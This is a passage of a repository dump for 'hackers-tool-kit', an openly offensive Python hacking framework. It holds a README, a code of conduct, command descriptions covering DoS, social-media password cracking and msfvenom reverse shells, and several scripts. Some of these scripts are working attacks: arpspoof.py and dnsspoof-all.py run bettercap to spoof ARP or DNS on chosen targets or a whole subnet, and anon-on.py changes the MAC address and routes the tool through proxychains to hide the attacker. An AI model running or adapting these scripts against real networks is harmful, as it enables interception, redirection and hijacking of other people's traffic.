├── CODE_OF_CONDUCT.md ├── LICENSE ├── README.md ├── htk-lite ├── commandinfo │ ├── anon.txt │ ├── arpspoof.txt │ ├── aserver.txt │ ├── banner.txt │ ├── clear.txt │ ├── command.txt │ ├── dnsspoof.txt │ ├── dos.txt │ ├── exit.txt │ ├── hashid.txt │ ├── help.txt │ ├── infoscan.txt │ ├── monitor.txt │ ├── netscan.txt │ ├── password.txt │ ├── payload.txt │ ├── reboot.txt │ ├── sysinfo.txt │ ├── terminal.txt │ ├── traff.txt │ ├── verscan.txt │ └── wordlist.txt ├── commandlist │ ├── anon-off.py │ ├── anon-on.py │ ├── arpspoof.py │ ├── aserver.py │ ├── banner.py │ ├── clear.py │ ├── command.py │ ├── dnsspoof-all.py │ ├── dnsspoof.py │ ├── dos.py │ ├── exit.py │ ├── hashid.py │ ├── help.py │ ├── infoscan-o.py │ ├── infoscan.py │ ├── monitor-off.py │ ├── monitor-on.py │ ├── netscan.py │ ├── password.py │ ├── payload.py │ ├── reboot.py │ ├── sysinfo.py │ ├── terminal.py │ ├── traff.py │ ├── verscan.py │ └── wordlist.py ├── files │ ├── Instagram │ │ ├── Executable │ │ │ └── instagram.py │ │ ├── LICENSE │ │ ├── README.md │ │ ├── accounts.txt │ │ ├── database │ │ │ └── session.db │ │ ├── instagram.py │ │ ├── lib │ │ │ ├── __init__.py │ │ │ ├── __pycache__ │ │ │ │ ├── __init__.cpython-37.pyc │ │ │ │ ├── bad_proxies.cpython-37.pyc │ │ │ │ ├── browser.cpython-37.pyc │ │ │ │ ├── bruter.cpython-37.pyc │ │ │ │ ├── const.cpython-37.pyc │ │ │ │ ├── display.cpython-37.pyc │ │ │ │ ├── password_manager.cpython-37.pyc │ │ │ │ ├── proxy.cpython-37.pyc │ │ │ │ ├── proxy_list.cpython-37.pyc │ │ │ │ ├── proxy_manager.cpython-37.pyc │ │ │ │ ├── scraper.cpython-37.pyc │ │ │ │ └── session.cpython-37.pyc │ │ │ ├── bad_proxies.py │ │ │ ├── browser.py │ │ │ ├── bruter.py │ │ │ ├── const.py │ │ │ ├── display.py │ │ │ ├── password_manager.py │ │ │ ├── proxy.py │ │ │ ├── proxy_list.py │ │ │ ├── proxy_manager.py │ │ │ ├── scraper.py │ │ │ └── session.py │ │ ├── requirements.txt │ │ └── test_proxies.py │ └── fb-brute.pl ├── htkl.py ├── htklupdate.py └── wordlists │ └── example.txt ├── htk.py ├── htksecure.py ├── htkupdate.py ├── install.py ├── lib ├── __init__.py ├── bruter.py ├── const.py ├── queue.py ├── scraper.py ├── session.py └── spyder.py ├── modules ├── __init__.py ├── __init__.pyc ├── banner.py ├── banner.pyc ├── colors.py ├── colors.pyc ├── footer.pyc ├── functions.py └── functions.pyc ├── plugins ├── DNSDumpsterAPI.py ├── DNSDumpsterAPI.pyc ├── __init__.py ├── __init__.pyc ├── discovery │ ├── DNS │ │ ├── Base.py │ │ ├── Base.pyc │ │ ├── Class.py │ │ ├── Class.pyc │ │ ├── Lib.py │ │ ├── Lib.pyc │ │ ├── Opcode.py │ │ ├── Opcode.pyc │ │ ├── Status.py │ │ ├── Status.pyc │ │ ├── Type.py │ │ ├── Type.pyc │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── lazy.py │ │ ├── lazy.pyc │ │ └── win32dns.py │ ├── IPy.py │ ├── IPy.pyc │ ├── __init__.py │ ├── __init__.pyc │ ├── asksearch.py │ ├── baidusearch.py │ ├── baidusearch.pyc │ ├── bingsearch.py │ ├── bingsearch.pyc │ ├── crtsh.py │ ├── crtsh.pyc │ ├── dnssearch-threads.py │ ├── dnssearch.py │ ├── dnssearch.pyc │ ├── dogpilesearch.py │ ├── dogpilesearch.pyc │ ├── exaleadsearch.py │ ├── exaleadsearch.pyc │ ├── googleCSE.py │ ├── googleCSE.pyc │ ├── googleplussearch.py │ ├── googleplussearch.pyc │ ├── googlesearch.py │ ├── googlesearch.pyc │ ├── googlesets.py │ ├── googlesets.pyc │ ├── jigsaw.py │ ├── jigsaw.pyc │ ├── linkedinsearch.py │ ├── linkedinsearch.pyc │ ├── netcraft.py │ ├── netcraft.pyc │ ├── pgpsearch.py │ ├── pgpsearch.pyc │ ├── shodan │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── api.py │ │ ├── api.pyc │ │ └── wps.py │ ├── shodansearch.py │ ├── shodansearch.pyc │ ├── twittersearch.py │ ├── twittersearch.pyc │ ├── virustotal.py │ ├── virustotal.pyc │ ├── yahoosearch.py │ ├── yahoosearch.pyc │ ├── yandexsearch.py │ └── yandexsearch.pyc ├── lib │ ├── __init__.py │ ├── __init__.pyc │ ├── graphs.py │ ├── graphs.pyc │ ├── hostchecker.py │ ├── hostchecker.pyc │ ├── htmlExport.py │ ├── htmlExport.pyc │ ├── markup.py │ └── markup.pyc ├── myparser.py ├── myparser.pyc ├── tests │ └── myparser_test.py └── theHarvester.py ├── redhawk ├── config.php ├── crawl │ ├── admin.ini │ ├── others.ini │ └── readme.txt ├── functions.php ├── rhawk.php ├── sqlerrors.ini ├── var.php └── version.txt ├── tools ├── Instagram │ ├── Executable │ │ └── instagram.py │ ├── LICENSE │ ├── README.md │ ├── accounts.txt │ ├── database │ │ └── session.db │ ├── instagram.py │ ├── lib │ │ ├── __init__.py │ │ ├── bad_proxies.py │ │ ├── browser.py │ │ ├── bruter.py │ │ ├── const.py │ │ ├── display.py │ │ ├── password_manager.py │ │ ├── proxy.py │ │ ├── proxy_list.py │ │ ├── proxy_manager.py │ │ ├── scraper.py │ │ └── session.py │ ├── requirements.txt │ └── test_proxies.py ├── exploits.txt ├── fb-brute.pl ├── formats.txt ├── htkbanner.txt ├── lib │ ├── __init__.py │ ├── __init__.pyc │ ├── bruter.py │ ├── bruter.pyc │ ├── const.py │ ├── const.pyc │ ├── queue.py │ ├── scraper.py │ ├── scraper.pyc │ ├── session.py │ ├── session.pyc │ ├── spyder.py │ └── spyder.pyc ├── medusamods.txt ├── meterpreter.txt ├── modules │ ├── __init__.py │ ├── __init__.pyc │ ├── banner.py │ ├── banner.pyc │ ├── colors.py │ ├── colors.pyc │ ├── footer.pyc │ ├── functions.py │ └── functions.pyc ├── payloads.txt ├── pingen.py ├── screenshot1.png ├── screenshot2.png ├── screenshot3.5.png ├── screenshot3.png ├── screenshot4.png ├── screenshot5.png ├── screenshot6.png ├── screenshot7.png ├── scripts.txt ├── skull.txt ├── tcp └── venombanner.txt └── wordlists └── example.txt /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as 6 | contributors and maintainers pledge to making participation in our project and 7 | our community a harassment-free experience for everyone, regardless of age, body 8 | size, disability, ethnicity, sex characteristics, gender identity and expression, 9 | level of experience, education, socio-economic status, nationality, personal 10 | appearance, race, religion, or sexual identity and orientation. 11 | 12 | ## Our Standards 13 | 14 | Examples of behavior that contributes to creating a positive environment 15 | include: 16 | 17 | * Using welcoming and inclusive language 18 | * Being respectful of differing viewpoints and experiences 19 | * Gracefully accepting constructive criticism 20 | * Focusing on what is best for the community 21 | * Showing empathy towards other community members 22 | 23 | Examples of unacceptable behavior by participants include: 24 | 25 | * The use of sexualized language or imagery and unwelcome sexual attention or 26 | advances 27 | * Trolling, insulting/derogatory comments, and personal or political attacks 28 | * Public or private harassment 29 | * Publishing others' private information, such as a physical or electronic 30 | address, without explicit permission 31 | * Other conduct which could reasonably be considered inappropriate in a 32 | professional setting 33 | 34 | ## Our Responsibilities 35 | 36 | Project maintainers are responsible for clarifying the standards of acceptable 37 | behavior and are expected to take appropriate and fair corrective action in 38 | response to any instances of unacceptable behavior. 39 | 40 | Project maintainers have the right and responsibility to remove, edit, or 41 | reject comments, commits, code, wiki edits, issues, and other contributions 42 | that are not aligned to this Code of Conduct, or to ban temporarily or 43 | permanently any contributor for other behaviors that they deem inappropriate, 44 | threatening, offensive, or harmful. 45 | 46 | ## Scope 47 | 48 | This Code of Conduct applies both within project spaces and in public spaces 49 | when an individual is representing the project or its community. Examples of 50 | representing a project or community include using an official project e-mail 51 | address, posting via an official social media account, or acting as an appointed 52 | representative at an online or offline event. Representation of a project may be 53 | further defined and clarified by project maintainers. 54 | 55 | ## Enforcement 56 | 57 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 58 | reported by contacting the project team at . All 59 | complaints will be reviewed and investigated and will result in a response that 60 | is deemed necessary and appropriate to the circumstances. The project team is 61 | obligated to maintain confidentiality with regard to the reporter of an incident. 62 | Further details of specific enforcement policies may be posted separately. 63 | 64 | Project maintainers who do not follow or enforce the Code of Conduct in good 65 | faith may face temporary or permanent repercussions as determined by other 66 | members of the project's leadership. 67 | 68 | ## Attribution 69 | 70 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, 71 | available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html 72 | 73 | [homepage]: https://www.contributor-covenant.org 74 | 75 | For answers to common questions about this code of conduct, see 76 | https://www.contributor-covenant.org/faq 77 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # hackers-tool-kit 2 | 3 | 4 | 5 | #THIS TOOL IS OUTDATED GO CHECK OUT MY NEWER TOOL HTK-LITE BELOW 6 | 7 | 8 | https://github.com/unkn0wnh4ckr/htk-lite 9 | 10 | 11 | 12 | Its a framework filled with alot of options and hacking tools you use directly in the script from brute forcing to payload making. Im still trying to think of what to add to the script. I now have another tool out called htkl-lite its hackers-tool-kit just not as big and messy. To see updates check on my instagram @tuf_unkn0wn or if there are any problems message me on instagram. 13 | 14 | ![](tools/screenshot1.png) 15 | 16 | ![](tools/screenshot2.png) 17 | 18 | ![](tools/screenshot3.png) 19 | 20 | ![](tools/screenshot3.5.png) 21 | 22 | ![](tools/screenshot4.png) 23 | 24 | ![](tools/screenshot5.png) 25 | 26 | ![](tools/screenshot6.png) 27 | 28 | ![](tools/screenshot7.png) 29 | # install 30 | 31 | * `git clone https://github.com/unkn0wnh4ckr/hackers-tool-kit` 32 | 33 | * `cd hackers-tool-kit` 34 | 35 | * `python install.py` 36 | 37 | # Run 38 | 39 | ROOT IS NOT REQUIRED TO RUN BUT IS RECOMMENDED 40 | 41 | * `cd hackers-tool-kit` 42 | 43 | * `python htk.py` 44 | 45 | # HTK Secure 46 | 47 | ![](tools/screenshot4.png) 48 | 49 | the htksecure.py file will run the hackers-tool-kit with proxychains and other tools making you anonymous when hacking but some stuff might be slow or not work... to run htk secure look below 50 | 51 | * `cd hackers-tool-kit` 52 | 53 | * `python htksecure.py` 54 | 55 | # UPDATES 56 | this is where i will try to put the most recent updates 57 | 58 | 59 | * added a htk-lite option which runs my htk-lite tool 60 | 61 | 62 | * added a dns spoofing option 63 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/anon.txt: -------------------------------------------------------------------------------- 1 | ANON: 2 | 3 | make yourself anonymous with proxychains and macchanger 4 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/arpspoof.txt: -------------------------------------------------------------------------------- 1 | ARPSPOOF: 2 | 3 | spoof ARP packages on a specific target or targets 4 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/aserver.txt: -------------------------------------------------------------------------------- 1 | ASERVER: 2 | 3 | start a apache server on your local host and open it up on a browser 4 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/banner.txt: -------------------------------------------------------------------------------- 1 | BANNER: 2 | 3 | prints out a random banner out of the 6 banners available 4 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/clear.txt: -------------------------------------------------------------------------------- 1 | CLEAR: 2 | 3 | clears the screen 4 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/command.txt: -------------------------------------------------------------------------------- 1 | COMMAND: 2 | 3 | runs a terminal command from the framework 4 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/dnsspoof.txt: -------------------------------------------------------------------------------- 1 | DNSSPOOF: 2 | 3 | Start DNS Spoofing with bettercap to 4 | dns spoof the whole subnet instead of 5 | selecting a target type [dnsspoof --all] 6 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/dos.txt: -------------------------------------------------------------------------------- 1 | DOS: 2 | 3 | runs Denial-Of-Service attacks with udp, syn, tcp, etc 4 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/exit.txt: -------------------------------------------------------------------------------- 1 | EXIT: 2 | 3 | exits htk-lite 4 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/hashid.txt: -------------------------------------------------------------------------------- 1 | HASHID: 2 | 3 | find out what type of hash a hash is 4 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/help.txt: -------------------------------------------------------------------------------- 1 | HELP: 2 | 3 | will print out all the commands you can use in the framework 4 | with a cool banner 5 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/infoscan.txt: -------------------------------------------------------------------------------- 1 | INFOSCAN: 2 | 3 | the infoscan command will try to get a bunch 4 | of information from a host like whois, dnslookup, cloudflare, etc 5 | if you type 'infoscan -o' in the framework you can 6 | run a specific scan if you only want to do one of them 7 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/monitor.txt: -------------------------------------------------------------------------------- 1 | MONITOR: 2 | 3 | turn monitor mode on and off with airmon-ng 4 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/netscan.txt: -------------------------------------------------------------------------------- 1 | NETSCAN: 2 | 3 | scan for information about your network devices, mac addresses, etc 4 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/password.txt: -------------------------------------------------------------------------------- 1 | PASSWORD: 2 | 3 | crack passwords for social media, wifi, services like ssh, ftp, etc 4 | using dictionary attacks (require wordlists) 5 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/payload.txt: -------------------------------------------------------------------------------- 1 | PAYLOAD: 2 | 3 | makes a payload with msfvenom these payloads are mostly 4 | reverse_tcp 5 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/reboot.txt: -------------------------------------------------------------------------------- 1 | REBOOT: 2 | 3 | reboots the htk-lite script 4 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/sysinfo.txt: -------------------------------------------------------------------------------- 1 | SYSINFO: 2 | 3 | shows information about your device uname, public ip, os, etc 4 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/terminal.txt: -------------------------------------------------------------------------------- 1 | TERMINAL: 2 | 3 | open a new terminal window 4 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/traff.txt: -------------------------------------------------------------------------------- 1 | TRAFF: 2 | 3 | shows internet traffic packages 4 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/verscan.txt: -------------------------------------------------------------------------------- 1 | VERSCAN: 2 | 3 | scan services for their version 4 | -------------------------------------------------------------------------------- /htk-lite/commandinfo/wordlist.txt: -------------------------------------------------------------------------------- 1 | WORDLIST: 2 | 3 | make wordlists with cupp for dictionary attacks 4 | -------------------------------------------------------------------------------- /htk-lite/commandlist/anon-off.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | lred = '\033[91m' 26 | lblue = '\033[94m' 27 | lgreen = '\033[92m' 28 | yellow = '\033[93m' 29 | cyan = '\033[1;36m' 30 | purple = '\033[95m' 31 | red = '\033[31m' 32 | green = '\033[32m' 33 | blue = '\033[34m' 34 | orange = '\033[33m' 35 | 36 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 37 | randomcolor = random.choice(colorlist) 38 | banner3list = [red, blue, green, purple] 39 | 40 | def anonoff(): 41 | print "\033[93m------------------------\033[0m" 42 | print "\nSTOPPING MACCHANGER\n" 43 | print "\033[93m------------------------\033[0m" 44 | os.system("iwconfig") 45 | k = raw_input("Interface: ") 46 | c = 'ifconfig {0} down'.format(k) 47 | os.system(c) 48 | os.system("macchanger -p " + k) 49 | s = 'ifconfig {0} up'.format(k) 50 | os.system(s) 51 | sys.exit() 52 | reboot() 53 | anonoff() 54 | -------------------------------------------------------------------------------- /htk-lite/commandlist/anon-on.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | lred = '\033[91m' 26 | lblue = '\033[94m' 27 | lgreen = '\033[92m' 28 | yellow = '\033[93m' 29 | cyan = '\033[1;36m' 30 | purple = '\033[95m' 31 | red = '\033[31m' 32 | green = '\033[32m' 33 | blue = '\033[34m' 34 | orange = '\033[33m' 35 | 36 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 37 | randomcolor = random.choice(colorlist) 38 | banner3list = [red, blue, green, purple] 39 | 40 | def anonon(): 41 | print "\033[93m------------------------\033[0m" 42 | print "\nSTARTING MACCHANGER\n" 43 | print "\033[93m------------------------\033[0m" 44 | os.system("iwconfig") 45 | k = raw_input("Interface: ") 46 | c = 'ifconfig {0} down'.format(k) 47 | os.system(c) 48 | os.system("macchanger -r " + k) 49 | s = 'ifconfig {0} up'.format(k) 50 | os.system(s) 51 | show = 'macchanger -s {0}'.format(k) 52 | os.system(show) 53 | os.system('proxychains python htkl.py --quickrun') 54 | 55 | anonon() 56 | -------------------------------------------------------------------------------- /htk-lite/commandlist/arpspoof.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | lred = '\033[91m' 26 | lblue = '\033[94m' 27 | lgreen = '\033[92m' 28 | yellow = '\033[93m' 29 | cyan = '\033[1;36m' 30 | purple = '\033[95m' 31 | red = '\033[31m' 32 | green = '\033[32m' 33 | blue = '\033[34m' 34 | orange = '\033[33m' 35 | 36 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 37 | randomcolor = random.choice(colorlist) 38 | banner3list = [red, blue, green, purple] 39 | 40 | def arpspoof(): 41 | print "\033[93mif using multiple targets heres an example: 134.143.1.3, 134.143.1.6\033[0m\n" 42 | h = raw_input("\033[1mTarget/s:\033[0m ") 43 | os.system('echo "net.sniff on\n" >> arp.cap') 44 | os.system('echo "set arp.spoof.targets {0}\n" >> arp.cap'.format(h)) 45 | os.system('echo "arp.spoof on\n" >> arp.cap') 46 | print '\n\033[93mto stop type "exit"\033[0m' 47 | os.system("sleep 2") 48 | os.system("bettercap -no-history -caplet arp.cap") 49 | os.system("rm arp.cap") 50 | 51 | arpspoof() 52 | -------------------------------------------------------------------------------- /htk-lite/commandlist/aserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | import socks 26 | import socket 27 | lred = '\033[91m' 28 | lblue = '\033[94m' 29 | lgreen = '\033[92m' 30 | yellow = '\033[93m' 31 | cyan = '\033[1;36m' 32 | purple = '\033[95m' 33 | red = '\033[31m' 34 | green = '\033[32m' 35 | blue = '\033[34m' 36 | orange = '\033[33m' 37 | 38 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 39 | randomcolor = random.choice(colorlist) 40 | banner3list = [red, blue, green, purple] 41 | 42 | def aserver(): 43 | gw = os.popen("ip -4 route show default").read().split() 44 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 45 | s.connect((gw[2], 0)) 46 | ipaddr = s.getsockname()[0] 47 | print "\033[93mStarting Server\033[0m..." 48 | os.system("service apache2 start") 49 | br = raw_input("\033[92mBrowser: \033[0m") 50 | a = '{0} {1}'.format(br,ipaddr) 51 | os.system(a) 52 | stop = raw_input("\033[1mhit enter to stop server:\033[0m ") 53 | print "\033[93mStopping Server\033[0m..." 54 | os.system("service apache2 stop") 55 | 56 | aserver() 57 | -------------------------------------------------------------------------------- /htk-lite/commandlist/clear.py: -------------------------------------------------------------------------------- 1 | import os 2 | os.system("clear") 3 | -------------------------------------------------------------------------------- /htk-lite/commandlist/command.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | lred = '\033[91m' 26 | lblue = '\033[94m' 27 | lgreen = '\033[92m' 28 | yellow = '\033[93m' 29 | cyan = '\033[1;36m' 30 | purple = '\033[95m' 31 | red = '\033[31m' 32 | green = '\033[32m' 33 | blue = '\033[34m' 34 | orange = '\033[33m' 35 | 36 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 37 | randomcolor = random.choice(colorlist) 38 | banner3list = [red, blue, green, purple] 39 | 40 | def command(): 41 | command = raw_input("\033[1mCommand:\033[0m ") 42 | os.system(command) 43 | command() 44 | -------------------------------------------------------------------------------- /htk-lite/commandlist/dnsspoof-all.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | lred = '\033[91m' 26 | lblue = '\033[94m' 27 | lgreen = '\033[92m' 28 | yellow = '\033[93m' 29 | cyan = '\033[1;36m' 30 | purple = '\033[95m' 31 | red = '\033[31m' 32 | green = '\033[32m' 33 | blue = '\033[34m' 34 | orange = '\033[33m' 35 | 36 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 37 | randomcolor = random.choice(colorlist) 38 | banner3list = [red, blue, green, purple] 39 | 40 | def dnsspoofall(): 41 | domain1 = raw_input("\033[1mDomain1:\033[0m ") 42 | domain2 = raw_input("\033[1mDomain2:\033[0m ") 43 | os.system('echo "net.sniff on\n" >> dnsall.cap') 44 | os.system('echo "set dns.spoof.domains {0},{1}\n" >> dnsall.cap'.format(domain1,domain2)) 45 | os.system('echo "set dns.spoof.all true\n" >> dnsall.cap') 46 | os.system('echo "dns.spoof on\n" >> dnsall.cap') 47 | print '\n\033[93mto stop type "exit"\033[0m' 48 | os.system("sleep 2") 49 | os.system("bettercap -no-history -caplet dnsall.cap") 50 | os.system("rm dnsall.cap") 51 | 52 | dnsspoofall() 53 | -------------------------------------------------------------------------------- /htk-lite/commandlist/dnsspoof.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 